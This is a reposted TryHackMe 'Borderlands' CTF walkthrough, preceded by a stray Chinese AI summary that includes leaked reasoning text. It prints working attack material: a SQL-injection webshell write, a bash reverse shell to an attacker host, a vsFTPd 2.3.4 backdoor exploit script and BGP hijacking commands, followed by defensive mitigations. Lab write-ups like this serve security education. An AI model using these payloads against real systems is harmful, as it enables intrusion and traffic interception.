Borderlands — Git History API Key Leak + BGP Hijacking to Flag Interception | TryHackMe
嗯,用户让我帮忙总结一下这篇文章的内容,控制在一百个字以内,而且不需要用“文章内容总结”之类的开头。我得先仔细看看这篇文章讲的是什么。 看起来这篇文章详细描述了一个叫做Borderlands的高级CTF挑战。里面提到了很多攻击步骤,比如利用暴露的.git仓库获取API密钥和源代码,通过SQL注入写入webshell,然后使用Chisel进行网络跳转,最终通过BGP协议劫持流量来获取旗帜。 用户的需求是用中文总结,而且要简洁。所以我要抓住几个关键点:攻击链、使用的工具和技术、最终目标。可能还要提到这个挑战涉及的多个阶段,比如网络渗透、路由协议操控等。 另外,用户可能是一个网络安全爱好者或者学生,想快速了解这个CTF挑战的主要内容。所以总结的时候要突出攻击的复杂性和涉及的技术点。 最后,确保不超过100个字,并且直接描述内容,不加任何开头语。 </think> 文章描述了一个复杂的CTF挑战——Borderlands,涉及通过暴露的.git仓库获取API密钥和源代码、SQL注入写入webshell、Chisel网络跳转、vsFTPd后门获取路由器root权限以及BGP协议劫持流量以获取旗帜的过程。 2026-4-19 03:12:6 Author: infosecwriteups.com(查看原文) 阅读量:22 收藏

Roshan Rajbanshi

Borderlands is a hard-level CTF that strings together a deceptively wide attack surface: an exposed .git repository leaks API keys and PHP source code, a SQL injection in the API endpoint writes a webshell to disk, and Chisel tunneling opens a path into an isolated Docker network. From there, a classic vsFTPd 2.3.4 backdoor hands over root on a BGP router, and the endgame requires understanding Border Gateway Protocol well enough to hijack traffic flowing between two internal subnets — impersonating the flag client to receive a trusted TCP connection from the flag server. The chain demands patience across five distinct phases: web exploitation, network pivoting, binary exploitation, routing protocol manipulation, and traffic interception.

Press enter or click to view image in full size

Attack Path: Exposed .git repo (API key recovery + SQLi webshell)INTO OUTFILE RCE (www-data shell)Chisel SOCKS pivot (internal network access)vsFTPd 2.3.4 backdoor CVE-2011-2523 (router1 root)BGP hijack + IP impersonation (UDP + TCP flag interception)

Platform: TryHackMe Machine: Borderlands Difficulty: Hard OS: Linux (Docker multi-container) Date: April 2026

Table of Contents
1. Reconnaissance
1.1 Nmap Port Scan
1.2 Web Application Enumeration
1.3 Git Repository Dump
2. API Key Recovery
2.1 Git History Analysis
2.2 APK Reverse Engineering — Vigenere Cipher
3. Initial Access
3.1 SQL Injection via UNION + LOAD_FILE
3.2 Webshell Deployment via INTO OUTFILE
3.3 Reverse Shell
4. Network Pivoting
4.1 Internal Network Discovery
4.2 Chisel SOCKS Tunnel
5. Router1 Exploitation
5.1 Port Scanning the Internal Subnet
5.2 vsFTPd 2.3.4 Backdoor (CVE-2011-2523)
5.3 Router1 Flag
6. BGP Hijacking
6.1 Network Topology
6.2 Zebra and BGP Daemon Configuration
6.3 IP Impersonation via Zebra
6.4 BGP Advertisement via bgpd
7. Flag Interception
7.1 UDP Flag
7.2 TCP Flag
8. Proof of Compromise
9. Vulnerability Summary
10. Defense & Mitigation

1. Reconnaissance

1.1 Nmap Port Scan

The engagement begins with a fast service scan against the target. Only two TCP ports respond, but the Nmap script output for port 80 reveals something immediately interesting: the -sC default scripts detect an exposed .git directory and read the last commit message directly from the repository metadata.

nmap -Pn -sC -F <TARGET_IP>
PORT     STATE  SERVICE
22/tcp open ssh
80/tcp open http
| http-git:
| <TARGET_IP>:80/.git/
| Git repository found!
| .git/config matched patterns 'user'
| Repository description: Unnamed repository
|_ Last commit message: added mobile apk for beta testing.
|_http-title: Context Information Security - HackBack 2
8080/tcp closed http-proxy

💡 When Nmap’s http-git script fires, the .git directory is browsable over HTTP. This means the entire repository — including every historical commit — can be reconstructed locally with git-dumper.

1.2 Web Application Enumeration

A Gobuster scan against port 80 confirms the .git exposure and uncovers two additional PHP endpoints worth noting.

gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirb/common.txt
/.git/HEAD           (Status: 200) [Size: 23]
/index.php (Status: 200) [Size: 15227]
/info.php (Status: 200) [Size: 80529]

The info.php endpoint serves a full phpinfo() output — a significant information disclosure that confirms the PHP version, loaded modules, and server configuration. The index.php page presents a login form and a list of downloadable PDF documents, and announces a mobile APK available for download. Curling the page reveals the APK link directly.

curl http://<TARGET_IP>/index.php

The response confirms the APK path at /mobile-app-prototype.apk. Both the APK and the .git repository become primary targets for the next phase.

1.3 Git Repository Dump

With directory listing disabled on .git/ but individual object files accessible, git-dumper reconstructs the full repository by crawling known object paths.

git-dumper http://<TARGET_IP>/.git/ ./git-dump
cd git-dump
git log --oneline
6db3cf7  added mobile apk for beta testing
fee5595 added white paper pdfs
04f1f41 added theme
b2f776a removed sensitive data
79c9539 added basic prototype of api gateway
93bab0a added under construction page
152b2d9 created repo

The commit message removed sensitive data on b2f776a is the most important entry in this log. In practice, removing credentials from a git repository does not erase them — they remain permanently accessible in the commit history.

Press enter or click to view image in full size

2. API Key Recovery

2.1 Git History Analysis

Inspecting the diff of commit b2f776a and the original api.php from commit 79c9539 reveals the API key validation logic in full.

git show b2f776a
git show 79c9539

From the b2f776a diff, the removed line contains three API key prefixes — the first 20 characters of each key are visible in the validation logic:

if (!isset($_GET['apikey']) ||
((substr($_GET['apikey'], 0, 20) !== "<REDACTED_WEB_KEY_PREFIX>") &&
substr($_GET['apikey'], 0, 20) !== "<REDACTED_AND_KEY_PREFIX>" &&
substr($_GET['apikey'], 0, 20) !== "<REDACTED_GIT_KEY_PREFIX>"))

The original commit 79c9539 contains the full GIT* key before it was truncated in the removal commit:

<REDACTED_GIT_KEY>

The home.php file recovered from the dump contains the full WEB* key embedded in a hardcoded API path:

echo ('<li><a href="api.php?documentid='.$documentid.'&amp;apikey=<REDACTED_WEB_KEY>">');

The functions.php file yields additional credentials that prove useful later:

$db_username = "root";
$db_password = "<REDACTED_DB_PASSWORD>";
$db_name = "myfirstwebsite";

A bcrypt salt is also present in a commented-out password hash test:

$options = ['salt' => '<REDACTED_BCRYPT_SALT>'];

2.2 APK Reverse Engineering — Vigenere Cipher

The AND* key does not appear in plaintext anywhere in the git history. The hint lies in the mobile APK. After decompiling with apktool, the res/values/strings.xml file contains a suspicious entry:

apktool d mobile-app-prototype.apk -o mobile-app-prototype
cat mobile-app-prototype/res/values/strings.xml
<string name="encrypted_api_key">CBQOSTEFZNL5U8LJB2hhBTDvQi2zQo</string>

Inspecting Main2Activity.smali reveals a decrypt() function that accepts the encrypted string and an encryption key. The encryption key is hardcoded as #TODO — the developer left a placeholder and never implemented the cipher. The function itself returns NOT_IMPLEMENTED.

💡 Even though the decryption was never implemented in the app, the cipher can be reversed manually. Comparing the encrypted string against the 20-character prefix of the AND* key recovered from the git diff reveals a critical pattern: non-alphabetic characters (digits) appear at the same positions in both strings. This is the fingerprint of a Vigenere cipher, which skips non-alpha characters during encryption and leaves them in place.

With a fragment of known plaintext and the ciphertext, the Vigenere key can be recovered by computing the per-character shift at each alphabetic position. The key index must increment only when processing an alphabetic character — a critical detail, since naively incrementing on every character, including digits, produces an incorrect key.

python3 -c "
enc = 'CBQOSTEFZNL5U8LJB2hhBTDvQi2zQo'
plain = 'ANDVOWLDLAS' # first 11 alpha chars from the known prefix
key = ''
j = 0
for c in enc:
if c.isalpha() and j < len(plain):
shift = (ord(c.upper()) - ord(plain[j].upper())) % 26
key += chr(shift + ord('A'))
j += 1
print('Recovered key fragment:', key)
"
Recovered key fragment: CONTEXTCON

The repeating pattern resolves immediately to CONTEXT — the name of the challenge author's company, Context Information Security. With the key identified, full decryption is straightforward. The key index is incremented only on alphabetic characters so that digit positions in the ciphertext are passed through unchanged:

python3 -c "
enc = 'CBQOSTEFZNL5U8LJB2hhBTDvQi2zQo'
key = 'CONTEXT'
result = ''
ki = 0
for c in enc:
if c.isalpha():
base = ord('A') if c.isupper() else ord('a')
k = ord(key[ki % len(key)]) - ord('A')
result += chr((ord(c) - base - k) % 26 + base)
ki += 1
else:
result += c
print(result)
"
<REDACTED_AND_KEY>

All three API keys are now recovered:

Key Pattern Full Value WEB* <REDACTED_WEB_KEY> GIT* <REDACTED_GIT_KEY> AND* <REDACTED_AND_KEY>

3. Initial Access

3.1 SQL Injection via UNION + LOAD_FILE

The recovered functions.php source reveals that GetDocumentDetails() constructs its SQL query through direct string concatenation with no parameterization:

$sql = "select documentid, documentname, location from documents where documentid=".$documentid;

The documentid parameter is passed directly from the GET request into the query. A UNION-based injection using LOAD_FILE() can read arbitrary files from the server filesystem, provided MySQL has the FILE privilege — which it does here, since the database runs as root.

Confirming that the API endpoint accepts the recovered key:

curl "http://<TARGET_IP>/api.php?apikey=<REDACTED_WEB_KEY>&documentid=1"
Document ID: 1
Document Name: Context_Red_Teaming_Guide.pdf
Document Location: Context_Red_Teaming_Guide.pdf

Reading the webapp flag directly via LOAD_FILE:

curl -g "http://<TARGET_IP>/api.php?apikey=<REDACTED_WEB_KEY>&documentid=0%20UNION%20SELECT%201%2C2%2CLOAD_FILE('/var/www/flag.txt')--%20-"
Document ID: 1
Document Name: 2
Document Location: {FLAG:Webapp:<REDACTED_FLAG>}

3.2 Webshell Deployment via INTO OUTFILE

The same injection path supports INTO OUTFILE, which writes arbitrary content to the filesystem. Writing a one-liner PHP webshell into the web root:

curl -g "http://<TARGET_IP>/api.php?apikey=<REDACTED_WEB_KEY>&documentid=0%20UNION%20SELECT%201%2C2%2C'%3C%3Fphp%20system(%24_GET%5B%22cmd%22%5D)%3B%3F%3E'%20INTO%20OUTFILE%20'/var/www/html/shell.php'--%20-"

Confirming execution:

Press enter or click to view image in full size

curl "http://<TARGET_IP>/shell.php?cmd=id"
1	2	uid=33(www-data) gid=33(www-data) groups=33(www-data)

3.3 Reverse Shell

With code execution confirmed, a bash reverse shell is triggered through the webshell. A listener is prepared on the attacker's machine first.

nc -lvnp 4444
curl "http://<TARGET_IP>/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/4444+0>%261'"

The shell is immediately stabilized to a full PTY:

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Inspecting the network configuration reveals that the app container is dual-homed — connected to both the Docker management network and an isolated internal network:

ip addr
eth0: 172.18.0.2/16   (Docker management network)
eth1: 172.16.1.10/24 (Internal network — router subnet)

4. Network Pivoting

4.1 Internal Network Discovery

With only Python3 available on the target (no nmap, no nc, no ping), a custom TCP connection sweep identifies live hosts on the 172.16.1.0/24 subnet. The scan checks a selection of ports, including common Linux services and routing daemon ports specific to Quagga/BGP infrastructure.

python3 -c "
import socket
for i in range(1, 255):
ip = '172.16.1.' + str(i)
if ip == '172.16.1.10':
continue
open_ports = []
for port in [21, 22, 80, 179, 2601, 2605]:
try:
s = socket.socket()
s.settimeout(0.5)
s.connect((ip, port))
open_ports.append(port)
s.close()
except:
pass
if open_ports:
print('UP: ' + ip + ' ports: ' + str(open_ports))
"
UP: 172.16.1.128 ports: [21, 179, 2601, 2605]

Port 21 confirms FTP. Port 179 is BGP. Ports 2601 and 2605 are the Zebra and bgpd management daemons from the Quagga routing suite. This is a router.

Grabbing the FTP service banner confirms the version:

python3 -c "
import socket
s = socket.socket()
s.settimeout(3)
s.connect(('172.16.1.128', 21))
print(s.recv(1024).decode())
s.close()
"
220 (vsFTPd 2.3.4)

4.2 Chisel SOCKS Tunnel

To run tools from Kali against the internal network, a Chisel reverse SOCKS5 proxy is established. Since curl is unavailable on the target, the binary is transferred using Python's urllib module.

Get Roshan Rajbanshi’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

On Kali, the binary is served, and the tunnel server is started:

python3 -m http.server 8000
./chisel server -p 9999 --reverse

On the target:

python3 -c "import urllib.request; urllib.request.urlretrieve('http://<ATTACKER_IP>:8000/chisel','/tmp/chisel')"
chmod +x /tmp/chisel
/tmp/chisel client <ATTACKER_IP>:9999 R:1080:socks

Once session#1 appears on the Kali server, proxychains is configured to route through the tunnel:

sudo sed -i 's/socks.*/socks5 127.0.0.1 1080/' /etc/proxychains.conf

5. Router1 Exploitation

5.1 Port Scanning the Internal Subnet

With the SOCKS proxy active, proxychains it routes traffic from Kali through the app container into the internal subnet. Connectivity to the router is confirmed immediately:

proxychains curl -s "http://172.16.1.128/" 2>/dev/null

The FTP banner already confirms vsFTPd 2.3.4. This version contains one of the most well-known backdoors in CTF history.

5.2 vsFTPd 2.3.4 Backdoor (CVE-2011–2523)

The vsFTPd 2.3.4 backdoor is triggered by sending a username containing the string :). When the server processes this username, it opens a root bind shell on TCP port 6200. The standard exploit script relies on telnetlib, which was removed from Python 3.13. A custom implementation using raw sockets avoids this dependency entirely.

# vsftpd_fixed.py
import socket, time, sys, threading
host = sys.argv[1]s = socket.socket()
s.settimeout(5)
s.connect((host, 21))
s.recv(1024)
s.send(b"USER backdoor:)\r\n")
s.recv(1024)
s.send(b"PASS pass\r\n")
time.sleep(2)
s.close()
time.sleep(1)
s2 = socket.socket()
s2.connect((host, 6200))
print("[+] Got root shell!")
def recv_loop():
while True:
try:
data = s2.recv(4096)
if data:
sys.stdout.write(data.decode(errors='ignore'))
sys.stdout.flush()
except:
break
threading.Thread(target=recv_loop, daemon=True).start()while True:
try:
cmd = input()
s2.send((cmd + '\n').encode())
except KeyboardInterrupt:
break

Running through proxychains delivers a root shell on router1:

proxychains python3 vsftpd_fixed.py 172.16.1.128
[+] Got root shell!

Confirming privilege:

id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys)...

5.3 Router1 Flag

find / -name "*flag*" 2>/dev/null
cat /var/www/flag.txt
{FLAG:Router1:<REDACTED_FLAG>}

6. BGP Hijacking

6.1 Network Topology

With root on router1, the full network picture becomes clear. The routing table and Quagga configuration files reveal a three-router BGP topology:

+--------------------------------------------------+
| Internet / TryHackMe VPN |
+--------------------------------------------------+
|
+------------------+
| 172.18.0.2 |
| Web App (APP) |
| 172.16.1.10 |
+------------------+
| 172.16.1.0/24
+------------------+
| 172.16.1.128 |
| ROUTER 1 | AS 60001
| 172.16.12.101 |
| 172.16.31.101 |
+------------------+
/ \
172.16.12.0/24 172.16.31.0/24
/ \
+------------------+ +------------------+
| 172.16.12.102 | | 172.16.31.103 |
| ROUTER 2 | AS 60002 | ROUTER 3 | AS 60003
+------------------+ +------------------+
| |
172.16.2.0/24 172.16.3.0/24
| |
+------------------+ +------------------+
| 172.16.2.10 | | 172.16.3.10 |
| flag_client | | flag_server |
| (sends UDP:4444) | | (listens TCP:5555)|
+------------------+ +------------------+

The flag client at 172.16.2.10 periodically sends UDP packets containing the UDP flag. The flag server at 172.16.3.10 listens on TCP port 5555 and sends the TCP flag to any client connecting from a trusted host — specifically from the 172.16.2.x address space.

💡 BGP selects routes based on the longest prefix match and lowest AS path length. By advertising a more specific /24 route for 172.16.2.0/24 and binding 172.16.2.10 as a local IP on router1, router1 becomes the BGP-preferred destination for traffic destined to the flag client's address space. Other routers in the AS will prefer this more-specific advertisement and route accordingly.

6.2 Zebra and BGP Daemon Configuration

The Quagga configuration files on router1 disclose both daemon passwords:

cat /etc/quagga/zebra.conf
# password: <REDACTED_ZEBRA_PASSWORD>
cat /etc/quagga/bgpd.conf
# password: <REDACTED_BGP_PASSWORD>

The bgpd configuration also confirms the two BGP neighbors and the AS numbers for Router2 and Router3:

neighbor 172.16.12.102 remote-as 60002   ← Router2 (flag_client network)
neighbor 172.16.31.103 remote-as 60003 ← Router3 (flag_server network)

6.3 IP Impersonation via Zebra

The Zebra daemon manages the kernel routing table and interface addresses. Connecting to it on port 2601 and assigning 172.16.2.10/32 it to the eth0 interface makes router1 respond to traffic destined for that IP as if it were the flag client.

The Zebra daemon uses a Telnet-based protocol with IAC negotiation bytes. Connecting via Python’s raw socket with a short receive loop handles the negotiation gracefully:

python3 -c "
import socket, time
s = socket.socket()
s.connect(('127.0.0.1', 2601))
s.recv(4096)
s.send(b'<REDACTED_ZEBRA_PASSWORD>\r\n')
time.sleep(1); s.recv(4096)
s.send(b'enable\r\n')
time.sleep(1); s.recv(4096)
s.send(b'configure terminal\r\n')
time.sleep(1); s.recv(4096)
s.send(b'interface eth0\r\n')
time.sleep(1); s.recv(4096)
s.send(b'ip address 172.16.2.0/24\r\n')
time.sleep(1); s.recv(4096)
s.send(b'ip address 172.16.2.10/32\r\n')
time.sleep(1); s.recv(4096)
s.send(b'quit\r\nquit\r\nquit\r\nquit\r\n')
time.sleep(1)
print(s.recv(4096).decode('ascii', errors='ignore'))
s.close()
"

6.4 BGP Advertisement via bgpd

With the IP addresses bound locally, the bgpd daemon must be told to advertise 172.16.2.0/24 to its neighbors and redistribute connected routes. This causes Router3 to update its routing table and prefer Router1 as the next hop for 172.16.2.0/24 traffic, since Router1 originates the route with a lower AS path.

python3 -c "
import socket, time
s = socket.socket()
s.connect(('127.0.0.1', 2605))
s.recv(4096)
s.send(b'<REDACTED_BGP_PASSWORD>\r\n')
time.sleep(1); s.recv(4096)
s.send(b'enable\r\n')
time.sleep(1); s.recv(4096)
s.send(b'configure terminal\r\n')
time.sleep(1); s.recv(4096)
s.send(b'router bgp 60001\r\n')
time.sleep(1); s.recv(4096)
s.send(b'network 172.16.2.0/24\r\n')
time.sleep(1); s.recv(4096)
s.send(b'redistribute connected\r\n')
time.sleep(1); s.recv(4096)
s.send(b'quit\r\nquit\r\nquit\r\nquit\r\n')
time.sleep(1)
print(s.recv(4096).decode('ascii', errors='ignore'))
s.close()
"

Alternatively, the same BGP advertisement can be performed interactively through vtysh:

Press enter or click to view image in full size

vtysh
configure terminal
router bgp 60001
network 172.16.2.0/24
network 172.16.3.0/24
end
clear ip bgp *
exit

7. Flag Interception

7.1 UDP Flag

With router1 now impersonating 172.16.2.10 And when BGP routing converged, the flag client's UDP transmissions are redirected to router1. Listening on UDP port 4444 receives the flag payload within approximately 30 seconds of BGP convergence:

nc -luvnp 4444
listening on [::]:4444 ...
connect to [::ffff:172.16.2.10]:4444 from [::ffff:172.16.3.10]:40803
{FLAG:UDP:<REDACTED_FLAG>}

Press enter or click to view image in full size

💡 UDP interception requires only passive listening — because UDP is stateless, simply being the BGP-preferred destination for 172.16.2.10 is sufficient for the packets to arrive. TCP is more demanding and requires completing a full three-way handshake, which in turn requires the source IP to be trusted by the flag server.

7.2 TCP Flag

The flag server at 172.16.3.10:5555 does not push the TCP flag unsolicited — it waits for an inbound connection from a trusted source. Port scanning earlier confirmed that 172.16.3.10:5555 it responds Connection from untrusted host to connections from unknown sources. Since router1 now owns 172.16.2.10 as a local address, it can initiate a connection using that address as the source IP. The nc -s flag specifies the local source address for the connection:

nc -s 172.16.2.10 172.16.3.10 5555
{FLAG:TCP:<REDACTED_FLAG>}

The flag server immediately responds with the TCP flag upon receiving a connection from the trusted 172.16.2.10 address space.

8. Proof of Compromise

# Router1
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
# Web App
uid=33(www-data) gid=33(www-data) groups=33(www-data)

9. Vulnerability Summary

# Vulnerability Severity Impact 1 Exposed .git directory via HTTP, full source code, and credential history disclosure 2 Vigenere-encrypted API key in Android APK, Medium API key recoverable through static analysis 3 SQL injection in documentid parameter High Arbitrary file read and webshell write via LOAD_FILE / INTO OUTFILE 4 vsFTPd 2.3.4 backdoor (CVE-2011-2523) Critical Unauthenticated root shell on router1 5 BGP route hijacking via Quagga misconfiguration Critical Traffic interception across isolated subnets 6 Flag server trust based on source IP only High Flag delivered to any host impersonating the trusted client IP

10. Defense & Mitigation

10.1 Exposed .git Directory

Root Cause: The web server was deployed directly from a working git repository without removing or blocking the .git directory. HTTP servers do not restrict access to dotfiles or hidden directories by default unless explicitly configured.

Mitigations:

  • Block .git at the web server level — add a deny rule in Nginx or Apache configuration:
location ~ /\.git {
deny all;
return 404;
}
  • Deploy artifacts, not repositories — use a CI/CD pipeline that copies only built assets to the web root, never the source repository
  • Audit deployments with tools such as git-dumper to detect exposure before attackers do
  • Use .gitignore with a secrets scanner such as git-secrets or truffleHog to prevent credential commits

10.2 Secrets in Git History

Root Cause: API keys were committed to the repository and later removed in a follow-up commit. Git history is immutable by default — removing a file in a new commit does not erase it from the object store.

⚠️ Once a secret is committed to a shared repository, it must be treated as fully compromised regardless of any subsequent removal commit. The only safe remediation is rotation.

Mitigations:

  • Rotate all exposed credentials immediately upon discovery
  • Rewrite history using git filter-repo to purge sensitive content from all commits, then force-push and require all collaborators to re-clone
  • Pre-commit hooks with secret scanning (detect-secrets, gitleaks) prevent sensitive strings from entering the repository at commit time
  • Use a secrets manager (HashiCorp Vault, AWS Secrets Manager) and inject credentials at runtime rather than storing them in source code

10.3 SQL Injection

Root Cause: The GetDocumentDetails() and UpdateDocumentName() functions in functions.php concatenate user-supplied input directly into SQL query strings. No parameterization or input validation is applied.

Mitigations:

  • Use prepared statements with bound parameters for all database queries:
$stmt = $conn->prepare("SELECT documentid, documentname, location FROM documents WHERE documentid = ?");
$stmt->bind_param("i", $documentid);
$stmt->execute();
  • Validate and cast input types — if documentid must be an integer, cast it explicitly: $documentid = (int)$_GET['documentid'];
  • Restrict MySQL FILE privilege — revoke FILE from the web application database user to prevent LOAD_FILE and INTO OUTFILE exploitation:
REVOKE FILE ON *.* FROM 'webuser'@'localhost';
  • Apply least privilege — the web application should connect as a dedicated user with only SELECT, INSERT, UPDATE, and DELETE permissions on its own database, never as root

10.4 vsFTPd 2.3.4 Backdoor (CVE-2011–2523)

Root Cause: The vsFTPd 2.3.4 release contains a deliberate backdoor introduced through a supply chain compromise of the upstream source tarball in 2011. Any system running this version is vulnerable to unauthenticated root shell access.

⚠️ This is not a misconfiguration — it is a backdoored binary. No configuration change mitigates the risk. The only remediation is replacement.

Mitigations:

  • Upgrade immediately to a current, maintained version of vsFTPd (3.x) or replace with a hardened alternative such as sftp over OpenSSH
  • Verify package integrity using distribution-provided checksums and GPG signatures before deploying any binary
  • Disable FTP entirely if file transfer functionality is not required; use SFTP or SCP instead, which operate over the already-hardened SSH channel
  • Network segmentation — internal routers should not expose management services (FTP, Telnet, HTTP) to adjacent subnets without strict firewall controls

10.5 BGP Route Hijacking

Root Cause: The Quagga BGP configuration on router1 does not implement prefix filtering for outbound route advertisements. Any process with access to the bgpd management socket can advertise arbitrary prefixes to BGP neighbors, who will accept them without validation.

Mitigations:

  • Implement prefix lists and route maps to restrict which prefixes each BGP neighbor is permitted to advertise and accept:
ip prefix-list ALLOWED-OUT seq 5 permit 172.16.1.0/24
ip prefix-list ALLOWED-OUT seq 10 deny 0.0.0.0/0 le 32
neighbor 172.16.12.102 prefix-list ALLOWED-OUT out
  • Enable BGP route origin validation (ROV) using RPKI to cryptographically verify that advertised prefixes are authorized by the legitimate address holder
  • Secure Quagga management sockets — restrict access to ports 2601 and 2605 using host-based firewall rules so that only authorized management hosts can connect
  • Use MD5 authentication for BGP sessions between neighbors to prevent session hijacking

10.6 Source IP Trust for Flag Delivery

Root Cause: The flag server at 172.16.3.10 determines whether to deliver its flag payload based solely on the source IP address of the connecting client. Source IP addresses are trivially spoofable at the routing level when an attacker controls a router in the path.

Mitigations:

  • Use cryptographic authentication for flag delivery — require a shared secret, token, or TLS client certificate that cannot be obtained through IP impersonation alone
  • Log and alert on unexpected source IPs — if 172.16.2.10 connects from an unexpected MAC address or appears on an unexpected network segment, generate an alert
  • Apply network-level controls — use VLAN isolation and static ARP entries to make impersonation significantly harder at the data link layer

文章来源: https://infosecwriteups.com/borderlands-git-history-api-key-leak-bgp-hijacking-to-flag-interception-tryhackme-cddd7c32dce1?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh